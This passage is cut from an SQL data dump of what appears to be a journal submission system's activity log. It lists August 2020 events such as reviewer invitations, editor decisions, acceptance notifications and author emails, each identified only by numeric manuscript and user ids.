form',5607,'Author',6818),(45574,'2020-08-01 07:05:03','Reviewer has submitted comments',3755,'Reviewer',11444),(45575,'2020-08-01 07:05:52','Publisher has Invited Reviewer',5464,'Publisher',85),(45576,'2020-08-01 07:05:53','Publisher has Invited Reviewer',5464,'Publisher',85),(45577,'2020-08-01 07:05:54','Publisher has Invited Reviewer',5464,'Publisher',85),(45578,'2020-08-01 07:05:55','Publisher has Invited Reviewer',5464,'Publisher',85),(45579,'2020-08-01 07:06:58','Publisher has Invited Reviewer',5481,'Publisher',85),(45580,'2020-08-01 07:07:00','Publisher has Invited Reviewer',5481,'Publisher',85),(45581,'2020-08-01 07:07:02','Publisher has Invited Reviewer',5481,'Publisher',85),(45582,'2020-08-01 07:07:04','Publisher has Invited Reviewer',5481,'Publisher',85),(45583,'2020-08-01 07:07:05','Publisher has Invited Reviewer',5481,'Publisher',85),(45585,'2020-08-01 07:33:00','Publisher: Accept Notification has been sent to Author',5112,'Publisher',85),(45586,'2020-08-01 07:33:23','Publisher has been Accepted Articles  article',5112,'Publisher',85),(45602,'2020-08-01 09:39:34','Reviewer has updated comments',4920,'Reviewer',7021),(45603,'2020-08-01 09:40:00','Reviewer has updated comments',4920,'Reviewer',7021),(45604,'2020-08-01 09:40:05','Reviewer has updated comments',4920,'Reviewer',7021),(45611,'2020-08-01 11:09:50','Author sent Email',4564,'Author',5772),(45614,'2020-08-01 11:47:59','Reviewer has submitted comments',5481,'Reviewer',13672),(45616,'2020-08-01 12:37:29','Publisher has been Assigned Editor',5549,'Publisher',319),(45617,'2020-08-01 12:38:28','Publisher has Invited Reviewer',5549,'Publisher',319),(45618,'2020-08-01 12:38:29','Publisher has Invited Reviewer',5549,'Publisher',319),(45619,'2020-08-01 12:38:29','Publisher has Invited Reviewer',5549,'Publisher',319),(45620,'2020-08-01 12:38:29','Publisher has Invited Reviewer',5549,'Publisher',319),(45621,'2020-08-01 12:38:30','Publisher has Invited Reviewer',5549,'Publisher',319),(45622,'2020-08-01 12:38:45','Publisher has Invited Reviewer',5549,'Publisher',319),(45623,'2020-08-01 12:38:46','Publisher has Invited Reviewer',5549,'Publisher',319),(45624,'2020-08-01 12:38:46','Publisher has Invited Reviewer',5549,'Publisher',319),(45625,'2020-08-01 12:49:54','Editor has Accepted to review Manuscript',5549,'Editor',1067),(45626,'2020-08-01 13:37:40','Reviewer has submitted comments',5318,'Reviewer',13672),(45654,'2020-08-02 10:44:14','Publisher : Notified Editor',3755,'Publisher',84),(45655,'2020-08-02 10:45:02','Editor has been Editor Decision Accepted article',3755,'Editor',221),(45656,'2020-08-02 10:45:39','Publisher: Accept Notification has been sent to Author',3755,'Publisher',84),(45689,'2020-08-02 17:47:00','Reviewer has submitted comments',4322,'Reviewer',12979),(45723,'2020-08-03 04:20:59','Author sent Email',5103,'Author',6279),(45737,'2020-08-03 05:44:40','Editor has been Revise (Notify Author) article',3755,'Editor',221),(45739,'2020-08-03 05:50:59','Editor has been Editor Decision Rejected article',3577,'Editor',221),(45741,'2020-08-03 06:07:15','Publisher has Invited Reviewer',5294,'Publisher',85),(45742,'2020-08-03 06:07:18','Publisher has Invited Reviewer',5294,'Publisher',85),(45743,'2020-08-03 06:07:22','Publisher has Invited Reviewer',5294,'Publisher',85),(45744,'2020-08-03 06:07:23','Publisher has Invited Reviewer',5294,'Publisher',85),(45745,'2020-08-03 06:07:25','Publisher has Invited Reviewer',5294,'Publisher',85),(45774,'2020-08-03 09:03:27','Editor has Accepted to review Manuscript',5291,'Editor',194),(45775,'2020-08-03 09:03:40','Editor has been Editor Decision Accepted article',5291,'Editor',194),(45776,'2020-08-03 09:03:48','Editor has Accepted to review Manuscript',5314,'Editor',194),(45777,'2020-08-03 09:03:59','Editor has been Editor Decision Accepted article',5314,'Editor',194),(45778,'2020-08-03 09:04:08','Editor has Accepted to review Manuscript',5202,'Editor',194),(45779,'2020-08-03 09:04:21','Editor has been Editor Decision Accepted article',5202,'Editor',194),(45780,'2020-08-03 09:04:44','Editor has Accepted to review Manuscript',5215,'Editor',194),(45781,'2020-08-03 09:04:56','Editor has been Editor Decision Accepted article',5215,'Editor',194),(45782,'2020-08-03 09:08:34','Publisher: Accept Notification has been sent to Author',5202,'Publisher',48),(45783,'2020-08-03 09:08:49','Publisher: Accept Notification has been sent to Author',5215,'Publisher',48),(45784,'2020-08-03 09:09:05','Publisher: Accept Notification has been sent to Author',5291,'Publisher',48),(45785,'2020-08-03 09:09:19','Publisher: Accept Notification has been sent to Author',5314,'Publisher',48),(45786,'2020-08-03 09:21:19','Publisher: Accept Notification has been sent to Author',3755,'Publisher',84),(45787,'2020-08-03 09:22:26','Editor has been Editor Decision Accepted article',3577,'Editor',221),(45790,'2020-08-03 09:32:31','Publisher has been Accepted Articles  article',3577,'Publisher',84),(45811,'2020-08-03 11:09:43','Publisher has been Withdrawn  article',4969,'Publisher',85),(45812,'2020-08-03 11:10:21','Publisher : Notified Editor',5318,'Publisher',85),(45813,'2020-08-03 11:12:49','Editor has Accepted to review Manuscript',5318,'Editor',203),(45814,'2020-08-03 11:13:49','Publisher has Invited Reviewer',5367,'Publisher',673),(45815,'2020-08-03 11:13:49','Publisher has Invited Reviewer',5367,'Publisher',673),(45816,'2020-08-03 11:13:50','Publisher has Invited Reviewer',5367,'Publisher',673),(45817,'2020-08-03 11:13:50','Publisher has Invited Reviewer',5367,'Publisher',673),(45818,'2020-08-03 11:14:09','Editor has been Editor Decision Accepted article',5318,'Editor',203),(45820,'2020-08-03 11:48:43','Publisher has Invited Reviewer',4719,'Publisher',75),(45821,'2020-08-03 11:48:44','Publisher has Invited Reviewer',4719,'Publisher',75),(45822,'2020-08-03 11:48:45','Publisher has Invited Reviewer',4719,'Publisher',75),(45823,'2020-08-03 11:48:46','Publisher has Invited Reviewer',4719,'Publisher',75),(45824,'2020-08-03 11:48:46','Publisher has Invited Reviewer',4719,'Publisher',75),(45843,'2020-08-03 13:01:19','Manuscript Submitted by Author using Submission form',5654,'Author',6867),(45844,'2020-08-03 13:04:33','Manuscript Submitted by Author using Submission form',5655,'Author',6868),(45845,'2020-08-03 13:08:34','Manuscript Submitted by Author using Submission form',5656,'Author',6869),(45846,'2020-08-03 13:13:49','Publisher has Invited Reviewer',5103,'Publisher',75),(45847,'2020-08-03 13:13:49','Publisher has Invited Reviewer',5103,'Publisher',75),(45848,'2020-08-03 13:13:50','Publisher has Invited Reviewer',5103,'Publisher',75),(45849,'2020-08-03 13:13:51','Publisher has Invited Reviewer',5103,'Publisher',75),(45850,'2020-08-03 13:13:52','Publisher has Invited Reviewer',5103,'Publisher',75),(45851,'2020-08-03 13:13:53','Publisher has Invited Reviewer',5103,'Publisher',75),(45852,'2020-08-03 13:13:53','Publisher has Invited Reviewer',5103,'Publisher',75),(45853,'2020-08-03 13:13:54','Publisher has Invited Reviewer',5103,'Publisher',75),(45854,'2020-08-03 13:13:55','Publisher has Invited Reviewer',5103,'Publisher',75),(45855,'2020-08-03 13:13:56','Publisher has Invited Reviewer',5103,'Publisher',75),(45856,'2020-08-03 13:13:56','Publisher has Invited Reviewer',5103,'Publisher',75),(45857,'2020-08-03 13:13:57','Publisher has Invited Reviewer',5103,'Publisher',75),(45858,'2020-08-03 13:13:58','Publisher has Invited Reviewer',5103,'Publisher',75),(45870,'2020-08-03 14:04:25','Publisher has been Accepted Articles  article',4483,'Publisher',84),(45871,'2020-08-03 14:04:33','Publisher has been Accepted Articles  article',3804,'Publisher',84),(45872,'2020-08-03 14:04:43','Publisher has been Accepted Articles  article',3798,'Publisher',84),(45873,'2020-08-03 14:04:54','Publisher has been Accepted Articles  article',3755,'Publisher',84),(45874,'2020-08-03 14:05:03','Publisher has been Accepted Articles  article',2674,'Publisher',84),(45882,'2020-08-03 14:53:16','Manuscript Submitted by Author using Submission form',5670,'Author',6883),(45902,'2020-08-04 07:37:59','Reviewer has submitted comments',5367,'Reviewer',11354),(45934,'2020-08-04 10:47:06','Publisher : Notified Editor',5367,'Publisher',673),(45935,'2020-08-04 10:49:03','Editor has Accepted to review Manuscript',5367,'Editor',1456),(45936,'2020-08-04 10:49:29','Editor has been Editor Decision Accepted article',5367,'Editor',1456),(45937,'2020-08-04 11:03:20','Reviewer has submitted comments',5367,'Reviewer',11351),(45941,'2020-08-04 11:33:03','Publisher: Accept Notification has been sent to Author',5318,'Publisher',85),(45945,'2020-08-04 12:05:27','Publisher has been Assigned Editor',5597,'Publisher',319),(45946,'2020-08-04 12:07:02','Publisher has Invited Reviewer',5597,'Publisher',319),(45948,'2020-08-04 12:21:15','Editor has Accepted to review Manuscript',4337,'Editor',1324),(45949,'2020-08-04 12:21:26','Editor has been Editor Decision Accepted article',4337,'Editor',1324),(45950,'2020-08-04 12:22:13','Publisher has been Accepted Articles  article',4337,'Publisher',972),(45951,'2020-08-04 12:22:42','Publisher: Accept Notification has been sent to Author',4337,'Publisher',972),(45952,'2020-08-04 12:22:58','Publisher has been Accepted Articles  article',4337,'Publisher',972),(45982,'2020-08-04 12:50:44','Manuscript Submitted by Publisher',5677,'Publisher',85),(45983,'2020-08-04 12:51:10','Publisher has been Assigned Editor',5677,'Publisher',85),(45984,'2020-08-04 12:51:36','Publisher has Invited Reviewer',5677,'Publisher',85),(45985,'2020-08-04 12:51:37','Publisher has Invited Reviewer',5677,'Publisher',85),(45986,'2020-08-04 12:51:38','Publisher has Invited Reviewer',5677,'Publisher',85),(45987,'2020-08-04 12:51:40','Publisher has Invited Reviewer',5677,'Publisher',85),(45988,'2020-08-04 12:51:41','Publisher has Invited Reviewer',5677,'Publisher',85),(45989,'2020-08-04 12:51:42','Publisher has Invited Reviewer',5677,'Publisher',85),(45990,'2020-08-04 12:51:43','Publisher has Invited Reviewer',5677,'Publisher',85),(45991,'2020-08-04 13:04:34','Author sent Email',5677,'Author',6891),(45992,'2020-08-04 13:33:04','Author sent Email',4253,'Author',5470),(46027,'2020-08-04 20:07:10','Editor has Accepted to review Manuscript',5597,'Editor',1067),(46046,'2020-08-05 06:07:45','Reviewer has submitted comments',4915,'Reviewer',650),(46047,'2020-08-05 06:08:31','Reviewer has updated comments',4915,'Reviewer',650),(46083,'2020-08-05 07:27:23','Reviewer has submitted comments',5597,'Reviewer',12875),(46093,'2020-08-05 09:41:53','Manuscript Updated',5677,'Publisher',85),(46094,'2020-08-05 09:43:14','Publisher has been Withdrawn  article',5677,'Publisher',85),(46097,'2020-08-05 10:40:12','Publisher has Invited Reviewer',5294,'Publisher',85),(46098,'2020-08-05 10:40:13','Publisher has Invited Reviewer',5294,'Publisher',85),(46136,'2020-08-05 12:25:49','Publisher has been Assigned Editor',5655,'Publisher',319),(46137,'2020-08-05 12:26:04','Publisher has been Assigned Editor',5656,'Publisher',319),(46138,'2020-08-05 12:29:26','Editor has Accepted to review Manuscript',5656,'Editor',1067),(46139,'2020-08-05 12:29:35','Editor has Accepted to review Manuscript',5655,'Editor',1067),(46147,'2020-08-05 13:59:03','Publisher has been Assigned Editor',5607,'Publisher',75),(46150,'2020-08-06 02:30:05','Manuscript Submitted by Author using Submission form',5702,'Author',6915),(46184,'2020-08-06 08:01:53','Publisher has been Assigned Editor',5670,'Publisher',85),(46200,'2020-08-06 08:26:36','Editor has Accepted to review Manuscript',5503,'Editor',194),(46201,'2020-08-06 08:26:49','Editor has been Editor Decision Accepted article',5503,'Editor',194),(46202,'2020-08-06 08:26:58','Editor has Accepted to review Manuscript',5490,'Editor',194),(46203,'2020-08-06 08:27:14','Editor has been Editor Decision Accepted article',5490,'Editor',194),(46206,'2020-08-06 08:28:56','Publisher: Accept Notification has been sent to Author',5503,'Publisher',48),(46207,'2020-08-06 08:29:11','Publisher: Accept Notification has been sent to Author',5490,'Publisher',48),(46213,'2020-08-06 08:38:30','Editor has been Editor Decision Accepted article',5503,'Editor',194),(46214,'2020-08-06 08:38:41','Editor has been Editor Decision Accepted article',5490,'Editor',194),(46218,'2020-08-06 09:31:17','Editor has Accepted to review Manuscript',4502,'Editor',1011),(46219,'2020-08-06 09:31:28','Editor has been Editor Decision Accepted article',4502,'Editor',1011),(46220,'2020-08-06 09:33:04','Editor has Accepted to review Manuscript',4776,'Editor',1012),(46221,'2020-08-06 09:33:14','Editor has been Editor Decision Accepted article',4776,'Editor',1012),(46222,'2020-08-06 09:33:45','Editor has Accepted to review Manuscript',4920,'Editor',1012),(46223,'2020-08-06 09:33:55','Editor has been Editor Decision Accepted article',4920,'Editor',1012),(46224,'2020-08-06 09:34:44','Publisher has been Accepted Articles  article',4502,'Publisher',376),(46225,'2020-08-06 09:34:53','Publisher has been Accepted Articles  article',4776,'Publisher',376),(46226,'2020-08-06 09:35:01','Publisher has been Accepted Articles  article',4920,'Publisher',376),(46227,'2020-08-06 10:50:03','Editor has Accepted to review Manuscript',5428,'Editor',194),(46228,'2020-08-06 10:50:18','Editor has been Editor Decision Accepted article',5428,'Editor',194),(46229,'2020-08-06 10:50:26','Editor has Accepted to review Manuscript',5429,'Editor',194),(46230,'2020-08-06 10:50:39','Editor has been Editor Decision Accepted article',5429,'Editor',194),(46231,'2020-08-06 10:50:46','Editor has Accepted to review Manuscript',5430,'Editor',194),(46232,'2020-08-06 10:50:58','Editor has been Editor Decision Accepted article',5430,'Editor',194),(46233,'2020-08-06 10:51:05','Editor has Accepted to review Manuscript',5431,'Editor',194),(46234,'2020-08-06 10:51:15','Editor has been Editor Decision Accepted article',5431,'Editor',194),(46235,'2020-08-06 10:51:48','Publisher: Accept Notification has been sent to Author',5431,'Publisher',48),(46236,'2020-08-06 10:52:01','Publisher: Accept Notification has been sent to Author',5430,'Publisher',48),(46237,'2020-08-06 10:52:14','Publisher: Accept Notification has been sent to Author',5429,'Publisher',48),(46238,'2020-08-06 10:52:28','Publisher: Accept Notification has been sent to Author',5428,'Publisher',48),(46239,'2020-08-06 10:55:32','Editor has been Editor Decision Accepted article',5431,'Editor',194),(46240,'2020-08-06 10:55:46','Editor has been Editor Decision Accepted article',5430,'Editor',194),(46241,'2020-08-06 10:56:03','Editor has been Editor Decision Accepted article',5429,'Editor',194),(46242,'2020-08-06 10:56:17','Editor has been Editor Decision Accepted article',5428,'Editor',194),(46256,'2020-08-06 12:15:47','Publisher has Invited Reviewer',5670,'Publisher',85),(46257,'2020-08-06 12:15:48','Publisher has Invited Reviewer',5670,'Publisher',85),(46258,'2020-08-06 12:15:49','Publisher has Invited Reviewer',5670,'Publisher',85),(46259,'2020-08-06 12:15:50','Publisher has Invited Reviewer',5670,'Publisher',85),(46260,'2020-08-06 12:15:51','Publisher has Invited Reviewer',5670,'Publisher',85),(46261,'2020-08-06 12:15:52','Publisher has Invited Reviewer',5670,'Publisher',85),(46262,'2020-08-06 12:15:53','Publisher has Invited Reviewer',5670,'Publisher',85),(46263,'2020-08-06 12:15:54','Publisher has Invited Reviewer',5670,'Publisher',85),(46264,'2020-08-06 12:15:55','Publisher has Invited Reviewer',5670,'Publisher',85),(46265,'2020-08-06 12:15:56','Publisher has Invited Reviewer',5670,'Publisher',85),(46266,'2020-08-06 12:15:57','Publisher has Invited Reviewer',5670,'Publisher',85),(46270,'2020-08-06 12:37:48','Publisher has Invited Reviewer',5156,'Publisher',376),(46272,'2020-08-06 13:53:40','Publisher has Invited Reviewer',5294,'Publisher',85),(46273,'2020-08-06 13:53:40','Publisher has Invited Reviewer',5294,'Publisher',85),(46274,'2020-08-06 13:53:41','Publisher has Invited Reviewer',5294,'Publisher',85),(46275,'2020-08-06 13:53:43','Publisher has Invited Reviewer',5294,'Publisher',85),(46276,'2020-08-06 13:53:44','Publisher has Invited Reviewer',5294,'Publisher',85),(46277,'2020-08-06 13:53:45','Publisher has Invited Reviewer',5294,'Publisher',85),(46278,'2020-08-06 13:53:46','Publisher has Invited Reviewer',5294,'Publisher',85),(46279,'2020-08-06 13:53:47','Publisher has Invited Reviewer',5294,'Publisher',85),(46280,'2020-08-06 13:53:48','Publisher has Invited Reviewer',5294,'Publisher',85),(46287,'2020-08-06 19:46:41','Manuscript Submitted by Author using Submission form',5712,'Author',6934),(46306,'2020-08-07 09:15:44','Publisher has been Assigned Editor',5589,'Publisher',248),(46309,'2020-08-07 09:57:54','Publisher has been Assigned Editor',5702,'Publisher',48),(46357,'2020-08-07 12:41:25','Author sent Email',4253,'Author',5470),(46460,'2020-08-08 08:14:46','Publisher has Invited Reviewer',5156,'Publisher',376),(46461,'2020-08-08 08:14:46','Publisher has Invited Reviewer',5156,'Publisher',376),(46462,'2020-08-08 08:14:47','Publisher has Invited Reviewer',5156,'Publisher',376),(46463,'2020-08-08 08:14:47','Publisher has Invited Reviewer',5156,'Publisher',376),(46467,'2020-08-08 09:06:42','Publisher has Invited Reviewer',5702,'Publisher',48),(46490,'2020-08-08 12:28:43','Publisher has Invited Reviewer',5702,'Publisher',48),(46493,'2020-08-08 13:49:25','Reviewer has submitted comments',5702,'Reviewer',13913),(46494,'2020-08-08 13:54:42','Reviewer has submitted comments',5361,'Reviewer',13913),(46495,'2020-08-08 13:58:23','Author sent Email',4483,'Author',5690),(46505,'2020-08-08 20:27:12','Manuscript Submitted by Author using Submission form',5732,'Author',6957),(46506,'2020-08-08 23:07:01','Author sent Email',5174,'Author',6359),(46508,'2020-08-09 06:06:18','Manuscript Submitted by Author using Submission form',5734,'Author',6959),(46509,'2020-08-09 09:32:06','Author sent Email',5249,'Author',6440),(46520,'2020-08-09 18:00:46','Reviewer has been sent email to Publisher',1998,'Reviewer',7023),(46530,'2020-08-10 05:01:57','Publisher has Invited Reviewer',5656,'Publisher',319),(46531,'2020-08-10 05:01:57','Publisher has Invited Reviewer',5656,'Publisher',319),(46532,'2020-08-10 05:01:58','Publisher has Invited Reviewer',5656,'Publisher',319),(46533,'2020-08-10 05:01:58','Publisher has Invited Reviewer',5656,'Publisher',319),(46534,'2020-08-10 05:01:59','Publisher has Invited Reviewer',5656,'Publisher',319),(46535,'2020-08-10 05:01:59','Publisher has Invited Reviewer',5656,'Publisher',319),(46536,'2020-08-10 05:01:59','Publisher has Invited Reviewer',5656,'Publisher',319),(46537,'2020-08-10 05:02:00','Publisher has Invited Reviewer',5656,'Publisher',319),(46538,'2020-08-10 05:02:23','Publisher has Invited Reviewer',5656,'Publisher',319),(46539,'2020-08-10 05:02:23','Publisher has Invited Reviewer',5656,'Publisher',319),(46540,'2020-08-10 05:02:24','Publisher has Invited Reviewer',5656,'Publisher',319),(46541,'2020-08-10 05:02:24','Publisher has Invited Reviewer',5656,'Publisher',319),(46542,'2020-08-10 05:02:25','Publisher has Invited Reviewer',5656,'Publisher',319),(46543,'2020-08-10 05:03:11','Publisher has Invited Reviewer',5655,'Publisher',319),(46544,'2020-08-10 05:03:11','Publisher has Invited Reviewer',5655,'Publisher',319),(46545,'2020-08-10 05:03:12','Publisher has Invited Reviewer',5655,'Publisher',319),(46546,'2020-08-10 05:03:12','Publisher has Invited Reviewer',5655,'Publisher',319),(46547,'2020-08-10 05:03:13','Publisher has Invited Reviewer',5655,'Publisher',319),(46548,'2020-08-10 05:03:13','Publisher has Invited Reviewer',5655,'Publisher',319),(46549,'2020-08-10 05:03:14','Publisher has Invited Reviewer',5655,'Publisher',319),(46550,'2020-08-10 05:03:14','Publisher has Invited Reviewer',5655,'Publisher',319),(46551,'2020-08-10 05:03:15','Publisher has Invited Reviewer',5655,'Publisher',319),(46552,'2020-08-10 05:03:15','Publisher has Invited Reviewer',5655,'Publisher',319),(46553,'2020-08-10 05:03:15','Publisher has Invited Reviewer',5655,'Publisher',319),(46554,'2020-08-10 05:03:16','Publisher has Invited Reviewer',5655,'Publisher',319),(46555,'2020-08-10 05:04:07','Publisher has Invited Reviewer',5655,'Publisher',319),(46556,'2020-08-10 05:04:07','Publisher has Invited Reviewer',5655,'Publisher',319),(46575,'2020-08-10 08:36:30','Reviewer has been sent email to Publisher',3755,'Reviewer',11444),(46576,'2020-08-10 09:34:07','Publisher : Notified Editor',5367,'Publisher',673),(46577,'2020-08-10 09:34:36','Publisher: Accept Notification has been sent to Author',5367,'Publisher',673),(46579,'2020-08-10 09:46:49','Editor has been Editor Decision Accepted article',5367,'Editor',1456),(46580,'2020-08-10 09:47:23','Publisher has been Accepted Articles  article',5367,'Publisher',673),(46583,'2020-08-10 10:59:03','Reviewer has submitted comments',5299,'Reviewer',13886),(46584,'2020-08-10 11:07:56','Publisher has been Accepted Articles  article',5299,'Publisher',85),(46585,'2020-08-10 11:08:54','Publisher has Invited Reviewer',5294,'Publisher',85),(46586,'2020-08-10 11:08:55','Publisher has Invited Reviewer',5294,'Publisher',85),(46587,'2020-08-10 11:08:56','Publisher has Invited Reviewer',5294,'Publisher',85),(46588,'2020-08-10 11:08:57','Publisher has Invited Reviewer',5294,'Publisher',85),(46589,'2020-08-10 11:08:58','Publisher has Invited Reviewer',5294,'Publisher',85),(46590,'2020-08-10 11:08:59','Publisher has Invited Reviewer',5294,'Publisher',85),(46591,'2020-08-10 11:09:00','Publisher has Invited Reviewer',5294,'Publisher',85),(46593,'2020-08-10 11:16:59','Publisher : Notified Editor',5481,'Publisher',85),(46594,'2020-08-10 11:17:39','Editor has Accepted to review Manuscript',5481,'Editor',203),(46595,'2020-08-10 11:19:07','Editor has been Revise (Notify Author) article',5481,'Editor',203),(46596,'2020-08-10 11:21:17','Publisher : Notified Author',5481,'Publisher',85),(46612,'2020-08-10 13:38:33','Publisher has been Assigned Editor',5712,'Publisher',75),(46643,'2020-08-11 04:31:25','Reviewer has submitted comments',5464,'Reviewer',13886),(46645,'2020-08-11 04:42:50','Editor has Accepted to review Manuscript',5362,'Editor',194),(46646,'2020-08-11 04:43:05','Editor has been Editor Decision Accepted article',5362,'Editor',194),(46647,'2020-08-11 04:43:14','Editor has Accepted to review Manuscript',5361,'Editor',194),(46648,'2020-08-11 04:43:28','Editor has been Editor Decision Accepted article',5361,'Editor',194),(46661,'2020-08-11 05:24:51','Publisher: Accept Notification has been sent to Author',5362,'Publisher',48),(46662,'2020-08-11 05:25:05','Publisher: Accept Notification has been sent to Author',5361,'Publisher',48),(46674,'2020-08-11 07:49:45','Reviewer has submitted comments',5655,'Reviewer',12875),(46680,'2020-08-11 08:05:00','Reviewer has submitted comments',5656,'Reviewer',12875),(46705,'2020-08-11 09:11:25','Manuscript Submitted by Author using Submission form',5758,'Author',6979),(46712,'2020-08-11 09:35:35','Publisher: Accept Notification has been sent to Author',4498,'Publisher',673),(46715,'2020-08-11 10:39:41','Manuscript Submitted by Publisher',5760,'Publisher',984),(46716,'2020-08-11 10:40:04','Publisher has been Assigned Editor',5760,'Publisher',984),(46730,'2020-08-11 13:26:10','Publisher has been Assigned Editor',5734,'Publisher',85),(46731,'2020-08-11 13:26:44','Publisher has Invited Reviewer',5734,'Publisher',85),(46732,'2020-08-11 13:26:45','Publisher has Invited Reviewer',5734,'Publisher',85),(46733,'2020-08-11 13:26:47','Publisher has Invited Reviewer',5734,'Publisher',85),(46734,'2020-08-11 13:26:48','Publisher has Invited Reviewer',5734,'Publisher',85),(46735,'2020-08-11 14:46:54','Author sent Email',5549,'Author',6755),(46738,'2020-08-11 16:26:25','Manuscript Submitted by Author using Submission form',5766,'Author',6984),(46776,'2020-08-12 05:44:41','Editor has been Editor Decision Accepted article',5111,'Editor',1067),(46777,'2020-08-12 05:45:50','Publisher: Accept Notification has been sent to Author',5111,'Publisher',319),(46778,'2020-08-12 05:46:04','Publisher has been Accepted Articles  article',5111,'Publisher',319),(46785,'2020-08-12 06:12:38','Publisher has been Assigned Editor',5758,'Publisher',48),(46787,'2020-08-12 06:13:23','Publisher has Invited Reviewer',5758,'Publisher',48),(46788,'2020-08-12 06:13:24','Publisher has Invited Reviewer',5758,'Publisher',48),(46789,'2020-08-12 06:13:25','Publisher has Invited Reviewer',5758,'Publisher',48),(46806,'2020-08-12 07:11:09','Publisher has been Accepted Articles  article',4498,'Publisher',673),(46815,'2020-08-12 07:58:21','Publisher has Invited Reviewer',5103,'Publisher',75),(46816,'2020-08-12 07:58:22','Publisher has Invited Reviewer',5103,'Publisher',75),(46818,'2020-08-12 08:15:13','Publisher has been Assigned Editor',5766,'Publisher',274),(46821,'2020-08-12 09:44:05','Publisher : Notified Editor',5464,'Publisher',85),(46822,'2020-08-12 09:49:04','Editor has Accepted to review Manuscript',5464,'Editor',1343),(46823,'2020-08-12 09:49:44','Editor has been Revise (Notify Author) article',5464,'Editor',1343),(46824,'2020-08-12 09:50:46','Publisher : Notified Author',5464,'Publisher',85),(46825,'2020-08-12 09:52:05','Publisher has Invited Reviewer',5293,'Publisher',85),(46826,'2020-08-12 09:52:06','Publisher has Invited Reviewer',5293,'Publisher',85),(46827,'2020-08-12 09:52:07','Publisher has Invited Reviewer',5293,'Publisher',85),(46828,'2020-08-12 09:52:08','Publisher has Invited Reviewer',5293,'Publisher',85),(46829,'2020-08-12 09:52:08','Publisher has Invited Reviewer',5293,'Publisher',85),(46830,'2020-08-12 09:52:09','Publisher has Invited Reviewer',5293,'Publisher',85),(46831,'2020-08-12 09:52:10','Publisher has Invited Reviewer',5293,'Publisher',85),(46833,'2020-08-12 11:42:45','Reviewer has submitted comments',5549,'Reviewer',12875),(46844,'2020-08-12 13:15:02','Author sent Email',5597,'Author',6810),(46845,'2020-08-12 13:17:45','Manuscript Submitted by Author using Submission form',5773,'Author',6992),(46848,'2020-08-13 04:38:27','Editor has been Revise (Notify Author) article',5597,'Editor',1067),(46849,'2020-08-13 04:39:29','Editor has been Editor Decision Accepted article',5549,'Editor',1067),(46850,'2020-08-13 04:41:04','Editor has been Revise (Notify Author) article',5655,'Editor',1067),(46851,'2020-08-13 04:41:57','Editor has been Revise (Notify Author) article',5656,'Editor',1067),(46852,'2020-08-13 04:43:02','Publisher: Accept Notification has been sent to Author',5549,'Publisher',319),(46853,'2020-08-13 04:44:43','Publisher : Notified Author',5597,'Publisher',319),(46855,'2020-08-13 04:46:39','Publisher : Notified Author',5655,'Publisher',319),(46856,'2020-08-13 04:47:29','Publisher : Notified Author',5656,'Publisher',319),(46863,'2020-08-13 08:19:50','Editor has Accepted to review Manuscript',5702,'Editor',194),(46864,'2020-08-13 08:20:05','Editor has been Revise (Notify Author) article',5702,'Editor',194),(46865,'2020-08-13 08:20:20','Editor has been Revise (Notify Author) article',5702,'Editor',194),(46885,'2020-08-13 13:21:50','Publisher : Notified Author',5481,'Publisher',85),(46900,'2020-08-14 04:28:37','Publisher has been Accepted Articles  article',5318,'Publisher',85),(46916,'2020-08-14 06:10:11','Manuscript Submitted by Author using Submission form',5791,'Author',7007),(46925,'2020-08-14 09:23:18','Manuscript Submitted by Author',5795,'Author',6883),(46926,'2020-08-14 10:25:32','Publisher has Invited Reviewer',5766,'Publisher',274),(46927,'2020-08-14 10:25:33','Publisher has Invited Reviewer',5766,'Publisher',274),(46930,'2020-08-14 11:29:17','Manuscript Submitted by Publisher',5796,'Publisher',274),(46931,'2020-08-14 11:29:31','Publisher has been Assigned Editor',5796,'Publisher',274),(46932,'2020-08-14 11:42:40','Manuscript Submitted by Publisher',5797,'Publisher',274),(46933,'2020-08-14 11:42:52','Publisher has been Assigned Editor',5797,'Publisher',274),(46943,'2020-08-14 12:02:32','Publisher has Invited Reviewer',5796,'Publisher',274),(46944,'2020-08-14 12:47:25','Publisher has been Assigned Editor',5795,'Publisher',85),(46945,'2020-08-14 12:48:32','Publisher has Invited Reviewer',5795,'Publisher',85),(46946,'2020-08-14 12:48:34','Publisher has Invited Reviewer',5795,'Publisher',85),(46947,'2020-08-14 12:48:35','Publisher has Invited Reviewer',5795,'Publisher',85),(46948,'2020-08-14 12:48:36','Publisher has Invited Reviewer',5795,'Publisher',85),(46949,'2020-08-14 12:48:38','Publisher has Invited Reviewer',5795,'Publisher',85),(46951,'2020-08-14 12:49:18','Publisher has Invited Reviewer',5795,'Publisher',85),(46952,'2020-08-14 12:49:19','Publisher has Invited Reviewer',5795,'Publisher',85),(46953,'2020-08-14 12:49:20','Publisher has Invited Reviewer',5795,'Publisher',85),(46954,'2020-08-14 12:49:21','Publisher has Invited Reviewer',5795,'Publisher',85),(46955,'2020-08-14 12:49:22','Publisher has Invited Reviewer',5795,'Publisher',85),(46956,'2020-08-14 12:49:23','Publisher has Invited Reviewer',5795,'Publisher',85),(46957,'2020-08-14 12:49:24','Publisher has Invited Reviewer',5795,'Publisher',85),(46958,'2020-08-14 12:49:25','Publisher has Invited Reviewer',5795,'Publisher',85),(46959,'2020-08-14 12:49:26','Publisher has Invited Reviewer',5795,'Publisher',85),(46960,'2020-08-14 12:49:27','Publisher has Invited Reviewer',5795,'Publisher',85),(46981,'2020-08-14 14:04:10','Reviewer has submitted comments',5795,'Reviewer',12519),(46985,'2020-08-14 18:27:49','Manuscript Submitted by Author using Submission form',5802,'Author',7016),(46986,'2020-08-14 19:32:24','Manuscript Submitted by Author using Submission form',5803,'Author',7017),(46987,'2020-08-14 20:43:10','Reviewer has submitted comments',5670,'Reviewer',10962),(47008,'2020-08-16 07:56:04','Manuscript has been Revised',5464,'Author',6666),(47009,'2020-08-16 07:59:30','Manuscript has been Revised',5464,'Author',6666),(47023,'2020-08-16 19:18:24','Manuscript has been Revised',5597,'Author',6810),(47028,'2020-08-17 04:06:17','Editor has Accepted to review Manuscript',5758,'Editor',194),(47029,'2020-08-17 04:06:30','Editor has been Editor Decision Accepted article',5758,'Editor',194),(47043,'2020-08-17 06:29:22','Publisher : Notified Editor',5597,'Publisher',319),(47044,'2020-08-17 06:40:17','Publisher has Invited Reviewer',5332,'Publisher',319),(47060,'2020-08-17 08:25:14','Publisher : Notified Editor',5464,'Publisher',85),(47064,'2020-08-17 08:52:23','Manuscript Submitted by Author using Submission form',5833,'Author',7059),(47086,'2020-08-17 13:14:08','Publisher has been Assigned 